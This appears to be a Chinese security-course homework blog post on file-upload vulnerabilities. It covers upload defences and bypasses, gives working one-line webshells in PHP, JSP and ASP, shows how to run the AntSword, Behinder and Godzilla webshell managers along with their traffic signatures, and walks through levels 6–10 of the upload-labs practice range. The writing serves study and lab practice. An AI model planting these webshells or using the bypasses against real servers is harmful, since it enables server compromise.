第七次作业

一、文件上传防御手段及绕过手段

1.文件上传防御手段

限制文件类型:只允许上传特定类型的文件(如 .jpg, .pdf),通过检查文件扩展名和 MIME 类型。

文件大小限制:限制上传文件的最大尺寸,以防止文件过大导致的资源消耗。

JS前端校验文件类型:在文件选择阶段,通过JavaScript(JS)对文件类型进行初步校验,减少后端处理压力。使用<input type="file" accept="...">标签的accept属性限制用户只能选择特定类型的文件。编写JS函数,在文件选择后通过文件扩展名或MIME类型(file.type)进行校验。对于更严格的校验,可以读取文件的前几个字节(文件签名)来判断文件类型。

文件存储位置:将上传的文件存储在安全位置,例如非公开目录,避免直接访问。

校验上传文件内容:对上传文件进行病毒扫描,以防止恶意软件传播。对特定类型的文件(如脚本文件)进行内容解析,检查是否存在危险代码。

设置可执行目录白名单:明确指定哪些目录是可执行的,防止上传的文件被误执行。在服务器上设置可执行目录的白名单。确保只有白名单中的目录具有执行权限。

校验上传文件路径:确保上传的文件不会被存储在可执行的目录下,防止被当作脚本执行。将上传的文件存储在非可执行的目录下,禁止上传的文件具有执行权限。

校验请求头Content-Type字段:检查HTTP请求头中的Content-Type字段,确保其与上传的文件类型一致。在后端接收文件时,检查Content-Type字段是否匹配文件类型。如果不匹配,则拒绝上传。

限制访问:确保上传的文件只能由授权用户访问,避免公开暴露。

文件上传后以时间戳方式重写文件名:为了防止文件名冲突和猜测文件名进行攻击,使用时间戳作为文件名的一部分。 在文件上传时,生成一个包含时间戳的唯一标识符。将这个唯一标识符与原始文件名结合,生成新的文件名。

2.文件上传绕过手段

大/双写文件名绕过:通过修改文件名(如添加空格、双写扩展名等)来绕过文件类型校验。
示例:将1.php修改为1.php.jpg或1.php .jpg。

修改文件后缀名:通过修改文件的后缀名来绕过基于文件扩展名的校验。
示例:将malicious.php修改为malicious.jpg并上传,然后尝试通过其他方式执行该文件。

恶意文件内容以多段拼凑/拆解的形式组合:将恶意代码分散在文件的多个部分,避开简单的内容扫描。
示例:将恶意代码隐藏在图片文件的末尾或中间部分。

文件竞争绕过:利用文件上传和处理的时间差,上传恶意文件并快速执行。
示例:在文件上传后,利用文件处理的时间窗口快速访问并执行恶意文件。

目录穿越到可执行目录:通过构造特殊的文件路径,将文件上传到可执行目录下。
示例:上传文件时指定路径为…/executable/,尝试穿越到可执行目录。

大小写绕过:利用系统对文文名大小写的不敏感性,绕过基于文件扩展名的校验。
示例:将malicious.PHP(大写PHP)上传到只检查小写扩展名的系统。

修改MIME类型:通过修改HTTP请求头中的MIME类型字段,绕过MIME类型校验。
示例:将Content-Type字段修改为image/jpeg,但实际上传的是PHP脚本。

图片木马:将恶意代码隐藏在看似正常的图片文件中,通过特殊手段触发执行。
示例:在JPEG图片中嵌入PHP代码,并修改图片文件头以绕过校验。

文件包含绕过:利用服务器上的文件包含漏洞,执行上传的恶意文件。
示例:通过上传包含恶意代码的文件,并利用文件包含漏洞将其包含到PHP脚本中执行。

二、文件上传常用一句话木马

PHP
1.<? php @eval($_POST['cmd']) ;? >
2.<? php assert($_POST['cmd' ]) ;? >

JSP
<%if (request. getParameter("f") != null(newjava.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request. getParameter("t"). getBytes ()) ; %>

ASP
1.<%eval request("cmd") %>
2.<%execute(request("cmd") ) %>

三、三种webshell管理工具的使用方法

1.中国蚁剑

在代理设置里首先配置代理
在这里插入图片描述
生成木马,编辑一句话木马
在这里插入图片描述
连接webshell,密码cmd
在这里插入图片描述
连接成功后打开文件管理随便打开几个文件
在这里插入图片描述
用burpsuit抓包,查看流量特征
在这里插入图片描述
抓包后会发现每个请求体都存在以@ini_set(“display_errors”,“0”);@set_time_limit(0)开头的字符串

2.冰蝎

点击 “传输协议”,选择协议名称,点击生成服务端,生成木马在这里插入图片描述
点击“代理”,选择“启用”,选择“HTTP”,配置代理服务器,点击“保存”
在这里插入图片描述
右键点击添加,输入webshell的地址,和刚才配置一致,点击保存
在这里插入图片描述
连接成功后用bp抓包,连接后随便点几个目录文件,查看流量特征
在这里插入图片描述
冰蝎 webshell都有“e45e329feb5d925b” 一串密钥,且响应体的返回结果全部为base64(当然也和选择的传输协议有关)。

3.哥斯拉

点击“目标”,“添加”,填“入密码”,配置加密方式,上传木马
在这里插入图片描述
输入webshell的地址,配置密码、密钥、代理、载荷加密类型等等
在这里插入图片描述
用bp抓包
在这里插入图片描述
哥斯拉会把一个32位的md5字符串按照一半拆分,分别放在base64编码的前后两部分。整个响应包的结构体征为:md5前十六位+base64+md5后十六位。

四、文件上传无回显如何查找webshell地址

1.通过了解服务器配置,确认服务器的文件上传目录,有的会有固定的上传路径。

2.查看上传后的HTTP响应头,有时响应头中可能包含一些文件上传状态的信息。

3.直接尝试在浏览器中输入URL访问上传的文件

4.使用一些漏扫工具查找可能的webshell路径

五、文件上传表单的无参/有参情况下构造表单

1.无参情况下只需构造一个基本的文件上传表单:

<form action="/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" value="Upload" />
</form>

<form action="/upload" method="post" enctype="multipart/form-data">:定义了一个表单,表单数据将通过 POST 方法发送到 /upload URL
enctype="multipart/form-data" 表示表单可以包含文件数据。
<input type="file" name="file" />:允许用户选择一个文件进行上传,文件的字段名为 file。
<input type="submit" value="Upload" />:提交表单的按钮,点击后会上传所选择的文件到服务器。

2.有参情况下如果需要同时上传文件和附加数据(如描述),可以在表单中添加其他输入字段:

<form action="/upload" method="post" enctype="multipart/form-data">
    <input type="text" name="description" placeholder="Enter description" />
    <input type="file" name="file" />
    <input type="submit" value="Upload" />
</form>

<input type="text" name="description" placeholder="Enter description" />:一个文本框,用户可以在此输入描述信息,字段名为 description。
<input type="file" name="file" />:一个文件选择框,用户可以选择一个文件进行上传,字段名为 file。
<input type="submit" value="Upload" />:提交按钮,点击后会将表单数据(包括描述和文件)发送到 /upload URL。

六、upload-labs靶场通关第6-第10关

Level 6

直接上传提示该文件类型不允许上传在这里插入图片描述
用burp抓包,尝试修改Content-Type字段为image/png,页面渲染提示仍不允许上传
在这里插入图片描述
然后试了几种方法,发现把后缀名php改成大写就可以上传了
在这里插入图片描述

Level 7

试了后缀换大写没有成功,看了看这关的源码,发现比较白名单前已被转为小写
在这里插入图片描述
试了试后缀名加空格,成功了
在这里插入图片描述在这里插入图片描述
发现上传的文件被改名了
在这里插入图片描述

浏览器按地址访问在这里插入图片描述

Level 8

提示说禁止上传所有可解析的后缀,上传文件时burp抓包
在这里插入图片描述
试了几种方法,在后缀名后面加点通过了
在这里插入图片描述
浏览器访问
在这里插入图片描述

Level 9

查看这道题的源码,这里我们使用 绕过,(windows遇见后缀::$DATA,会把它当作文件流处理,不再检查后缀)
在这里插入图片描述
burp抓包在里面更改
在这里插入图片描述
上传成功
在这里插入图片描述
浏览器访问,windows会自动把后缀的DATA删除

在这里插入图片描述

Level 10

首先查看源码
在这里插入图片描述
deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来。于是我们抓包,改后缀名为.php. . ,就可以保留.php
在这里插入图片描述
浏览器访问
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值